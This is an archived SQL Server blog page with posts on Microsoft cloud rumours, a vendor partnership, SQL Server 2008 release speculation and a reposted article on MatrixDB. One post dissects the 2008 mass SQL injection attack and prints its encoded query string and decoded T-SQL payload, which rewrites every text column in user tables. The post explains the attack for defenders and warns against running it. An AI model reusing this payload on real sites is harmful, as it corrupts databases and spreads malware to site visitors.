SQL Server News & Information tsql, performance tuning, industry trends, & bad jokes
tsql, performance tuning, industry trends, & bad jokes
This site is maintained by Jason Massie. He has 10 years experience as a DBA and has specialized in performance tuning for the last five. He was recognized by Microsoft as a SQL Server MVP. Jason has spoken at the Professional Association of SQL Server Conference, the North Texas SQL Server Users Group, SQL Connections and TechED. He has worked at Terremark (formerly Data Return) for nearly a decade.
You can contact him at jason@statisticsio.com or 469.569.5965
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Before I waste your time, this post will be full of rumor and speculation. I can not confirm a single word in this post as being true. If you are looking for some actual technical content, please see my google reader shared items. If you want to gossip like to high school juniors the day after prom, stick around.
The Bombshell(s) at PDC
I caught this video on Channel 9 with the MSFT VP of cloud, infrastructure and services. His name is Amitabh Srivastava. He states that PDC with be the “coming out party” for his group. We have already talked here about SSDS and cloud databases. BrentO wrote up a nice review on Data Mining in the cloud. Looking at the sessions at PDC, we can see that it will be very cloud intensive. Here are a few sessions of interest to this post:
A Day in the Life of a Cloud Service Developer This session goes beyond the "Hello World" development experience and explores common tasks for serious service developers. These tasks include logging, debugging, deployment, management, and maintenance of individual services. A Lap around Cloud Services Hear about key problems that cloud computing is solving and how these services fit into the Microsoft cloud computing initiatives. Learn about the pillars of the platform, its service lifecycle, and see how they fit with both Microsoft and non-Microsoft technologies. Also, hear about the services roadmap over the next few years.Architecting Services for the CloudFrom design to implementation, building a scalable, available web service is different from building other kinds of applications. This session discusses the impact that designing for the cloud has on all stages of the service lifecycle, and how the Microsoft cloud platform works for you to meet the scaling and availability goals of your service. Also learn how the cloud services platform is architected to isolate and protect your service.
A Day in the Life of a Cloud Service Developer
This session goes beyond the "Hello World" development experience and explores common tasks for serious service developers. These tasks include logging, debugging, deployment, management, and maintenance of individual services.
A Lap around Cloud Services
Hear about key problems that cloud computing is solving and how these services fit into the Microsoft cloud computing initiatives. Learn about the pillars of the platform, its service lifecycle, and see how they fit with both Microsoft and non-Microsoft technologies. Also, hear about the services roadmap over the next few years.
Architecting Services for the Cloud
From design to implementation, building a scalable, available web service is different from building other kinds of applications. This session discusses the impact that designing for the cloud has on all stages of the service lifecycle, and how the Microsoft cloud platform works for you to meet the scaling and availability goals of your service. Also learn how the cloud services platform is architected to isolate and protect your service.
On top of that, there are tons of sessions on live services, Mesh, and, most relevant to us, SSDS.
The Missing Link
What is missing? Surely, Microsoft doesn’t expect developers to write a web app\service and connect to SSDS over the tubes even with SSL. The missing link is a cloud based application development platform. This has to be coming and I predict it to be announced at PDC. What remains to be seen is how the infrastructure work. I could see a shared hosting model with Windows Server 2008 VM’s on hyper-v or a “real” cloud platform that is something like .Net as a Service. Your guess is as good as mine unless you already know but are under NDA :) Both Amazon EC2 and Google AppEngine both took the service route.
I am not going to PDC but I will be watching closely. Have you heard anything confirmed or unconfirmed?
P.S. Where is the 2nd largest software vendor in this cloud thingy-ma-bobber?
Edit: an unrelated cloud OS but funny Arrington bash can be found by clicking here.
The podcast from Brian Moran and Bill Bosworth provides good insight into the the deal. Click here.
Here is an excerpt for the forthcoming press release:
Quest Software is announcing its new partnership with Solid Quality Mentors, a global provider of education and solutions for Microsoft data and development platforms. This is not a sales reseller relationship, but a true joining of forces to provide new real value to the SQL Server community. Specifically, our plans are to work together in three specific areas: community outreach, product development and professional services. Community outreach: The companies will work together on joint programs including speaking at Quest and Solid Quality Mentors events, authoring technical briefs and white papers and providing joint webcasts and podcasts for the SQL Server community. Product development: Quest will collaborate with Solid Quality Mentors on product road maps and feature sets, drawing on their combined experience of real-world SQL Server challenges to provide the best solutions possible for SQL Server DBAs and developers. Professional services: Quest customers will benefit from consulting services offered by Solid Quality Mentors to help implement tools and manage complex environments.
Quest Software is announcing its new partnership with Solid Quality Mentors, a global provider of education and solutions for Microsoft data and development platforms.
This is not a sales reseller relationship, but a true joining of forces to provide new real value to the SQL Server community. Specifically, our plans are to work together in three specific areas: community outreach, product development and professional services.
Community outreach: The companies will work together on joint programs including speaking at Quest and Solid Quality Mentors events, authoring technical briefs and white papers and providing joint webcasts and podcasts for the SQL Server community.
Product development: Quest will collaborate with Solid Quality Mentors on product road maps and feature sets, drawing on their combined experience of real-world SQL Server challenges to provide the best solutions possible for SQL Server DBAs and developers.
Professional services: Quest customers will benefit from consulting services offered by Solid Quality Mentors to help implement tools and manage complex environments.
Peep http://quest.com Monday for more details.
My crack investigative journalism skills web surfing has brought me to two more tidbits of info:
Benjamin Figueroa, Microsoft IT Pro Evangelist, is "Preparing contents for SQL Server 2008 RTM launch".
While a tweet is hardly scientific prove, it does give a little more weight to the rumor we heard yesterday.
Also to paraphrase Buck Woody, the SQL team has nothing but time now so expect more blogging. Read the full blog for yourself to judge the accuracy of my translation.
Have a great weekend!
Some of the MSFT employees at TechED told me that SQL Server 2008 RC0 will hit next week. I suspect Tuesday so it can be announced in TechEd ITPro keynote. That is all.
Buck Woody spoke of features not currently in the FEB CTP. A reader pointed this out to him and he responded in this post. So we can infer two things: RC0 is going to pop any time now. There are going to be new features.
I don't expect there to be any huge new features. Anyone have any rumors? I would also guess that they will have an RC1 in late July\early August. If all goes well, RTM in September. This is all speculation, of course. They may go straight to RTM if RC0 is solid. To be honest, FEB CTP has been pretty solid for me. I have not put it under load but I have tried some pretty crazy things with it.
Click here to see the existing public new features in SQL Server 2008: http://www.microsoft.com/sqlserver/2008/en/us/overview.aspx
Here is a anatomy of that huge SQL Injection attack that has been in the news. It targets MS SQL and ASP but it could be written for any database platform with application holes. There was inaccurate reporting in the press. Sensational headlines like "500,000 websites hacked due to Microsoft vulnerabilities" It should read "application" vulnerabilities. The same thing could happen on any platform. The thing about this one was the fact that it brilliantly designed to self propagate.
*Warning*
*Do not run this in any instance you care about*
On the affected sites, they post this query string:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200 [snip] 7200%20AS%20NVARCHAR(4000));PRINT(@S)
Which translates into this:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200 [snip] 7200 AS NVARCHAR(4000));exec(@S)
The code that actually executes is this:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
So it appends that script for to any character field and if that happens to be web html then it gets displayed on your website. The .js file infects users and the cycle continues.
More info can be found here.
Information Week found some jobs postings with info that probably should have not been posted since they have already been pulled :) I am not going to commentate on the article but I am going to post it in full in case it dissapears. The full article can also be found here.
"
By J. Nicholas Hoover InformationWeek April 18, 2008 11:20 AM
Microsoft (NSDQ: MSFT) has a significant new enterprise database project under development, a source close to the company said Thursday. Microsoft refused comment and the source wouldn't go into much detail, but two job listings give some tantalizing information about the new project, known as MatrixDB.According to the source, MatrixDB is an "enterprise scale-out solution." The source wouldn't provide more detail, but the job listings describe MatrixDB as a way to scale data workloads partially by allowing enterprises to add online database resources and by removing dependencies among servers through what's known as a "shared nothing" architecture. The job listing notes that this will be included in the release of SQL Server to follow SQL Server 2008."Imagine a database system that could automatically adapt to the scaling needs of our most demanding customers and workloads and would run on commodity hardware," the job listing states. "You could add additional hardware resources online, and it would automatically use them to run your workload faster. Components could fail, and it would seamlessly adapt without any downtime or any admin intervention. And no query or workload would be too big for it, because to get more horsepower, all you would need to do would be to add more hardware components."By allowing businesses to scale their data centers with add-on online resources, SQL Server would become a significant part of Microsoft's "software plus services" strategy in which some products have both cloud-based and client-based features, while others allow customers to choose between client and Web versions. One of the job listings also mentions CloudDB, a database architecture that will reportedly be a significant piece of Microsoft's services strategy.Microsoft believes MatrixDB could have a significant impact on the enterprise database market, if the job listings are any indication. "MatrixDB is the next big bet for SQL Server," one of the job listings says, adding that it "will change the industry perception of enterprise database servers" and "shake up the industry."The source said the project is to be headed up by Bob Gerber, a former chief scientist at Informix who helped develop one of the first parallel databases, Gamma, in the 1980s. According to the job listing, the project is just now "at the beginning of the product cycle" and largely in concept stages at this time.SQL Server 2008 is slated to be released in the third quarter, and there's no set timetable for the following release, but Microsoft has committed to a 2- to 3-year release cycle for SQL Server, placing MatrixDB's release somewhere around 2010 or 2011."
According to the source, MatrixDB is an "enterprise scale-out solution." The source wouldn't provide more detail, but the job listings describe MatrixDB as a way to scale data workloads partially by allowing enterprises to add online database resources and by removing dependencies among servers through what's known as a "shared nothing" architecture. The job listing notes that this will be included in the release of SQL Server to follow SQL Server 2008.
"Imagine a database system that could automatically adapt to the scaling needs of our most demanding customers and workloads and would run on commodity hardware," the job listing states. "You could add additional hardware resources online, and it would automatically use them to run your workload faster. Components could fail, and it would seamlessly adapt without any downtime or any admin intervention. And no query or workload would be too big for it, because to get more horsepower, all you would need to do would be to add more hardware components."
By allowing businesses to scale their data centers with add-on online resources, SQL Server would become a significant part of Microsoft's "software plus services" strategy in which some products have both cloud-based and client-based features, while others allow customers to choose between client and Web versions. One of the job listings also mentions CloudDB, a database architecture that will reportedly be a significant piece of Microsoft's services strategy.
Microsoft believes MatrixDB could have a significant impact on the enterprise database market, if the job listings are any indication. "MatrixDB is the next big bet for SQL Server," one of the job listings says, adding that it "will change the industry perception of enterprise database servers" and "shake up the industry."
The source said the project is to be headed up by Bob Gerber, a former chief scientist at Informix who helped develop one of the first parallel databases, Gamma, in the 1980s. According to the job listing, the project is just now "at the beginning of the product cycle" and largely in concept stages at this time.
SQL Server 2008 is slated to be released in the third quarter, and there's no set timetable for the following release, but Microsoft has committed to a 2- to 3-year release cycle for SQL Server, placing MatrixDB's release somewhere around 2010 or 2011.